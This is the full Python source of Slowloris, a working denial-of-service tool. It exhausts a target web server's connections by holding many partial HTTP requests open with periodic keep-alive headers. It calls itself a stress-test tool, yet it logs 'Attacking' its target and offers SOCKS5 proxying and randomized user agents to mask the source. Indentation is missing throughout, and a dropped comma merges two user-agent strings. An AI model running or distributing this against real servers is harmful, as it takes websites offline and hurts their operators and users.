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#!/usr/bin/env python3
import argparse
import logging
import random
import socket
import ssl
import sys
import time
parser = argparse.ArgumentParser(description="Slowloris, low bandwidth stress test tool for websites")
parser.add_argument('host', nargs="?", help="Host to perform stress test on")
parser.add_argument('-p', '--port', default=80, help="Port of webserver, usually 80", type=int)
parser.add_argument('-s', '--sockets', default=150, help="Number of sockets to use in the test", type=int)
parser.add_argument('-v', '--verbose', dest="verbose", action="store_true", help="Increases logging")
parser.add_argument('-ua', '--randuseragents', dest="randuseragent", action="store_true", help="Randomizes user-agents with each request")
parser.add_argument('-x', '--useproxy', dest="useproxy", action="store_true", help="Use a SOCKS5 proxy for connecting")
parser.add_argument('--proxy-host', default="127.0.0.1", help="SOCKS5 proxy host")
parser.add_argument('--proxy-port', default="8080", help="SOCKS5 proxy port", type=int)
parser.add_argument("--https", dest="https", action="store_true", help="Use HTTPS for the requests")
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()
if len(sys.argv) <= 1:
parser.print_help()
sys.exit(1)
if not args.host:
print("Host required!")
parser.print_help()
sys.exit(1)
if args.useproxy:
# Tries to import to external "socks" library
# and monkey patches socket.socket to connect over
# the proxy by default
try:
import socks
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
socket.socket = socks.socksocket
logging.info("Using SOCKS5 proxy for connecting...")
except ImportError:
logging.error("Socks Proxy Library Not Available!")
if args.verbose:
logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
else:
logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)
list_of_sockets = []
user_agents = [
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]
def init_socket(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
if args.https:
s = ssl.wrap_socket(s)
s.connect((ip, args.port))
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
if args.randuseragent:
s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
else:
s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
return s
def main():
ip = args.host
socket_count = args.sockets
logging.info("Attacking %s with %s sockets.", ip, socket_count)
logging.info("Creating sockets...")
for _ in range(socket_count):
try:
logging.debug("Creating socket nr %s", _)
s = init_socket(ip)
except socket.error:
break
list_of_sockets.append(s)
while True:
try:
logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
for s in list(list_of_sockets):
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except socket.error:
list_of_sockets.remove(s)
for _ in range(socket_count - len(list_of_sockets)):
logging.debug("Recreating socket...")
try:
s = init_socket(ip)
if s:
list_of_sockets.append(s)
except socket.error:
break
time.sleep(15)
except (KeyboardInterrupt, SystemExit):
print("\nStopping Slowloris...")
break
if __name__ == "__main__":
main()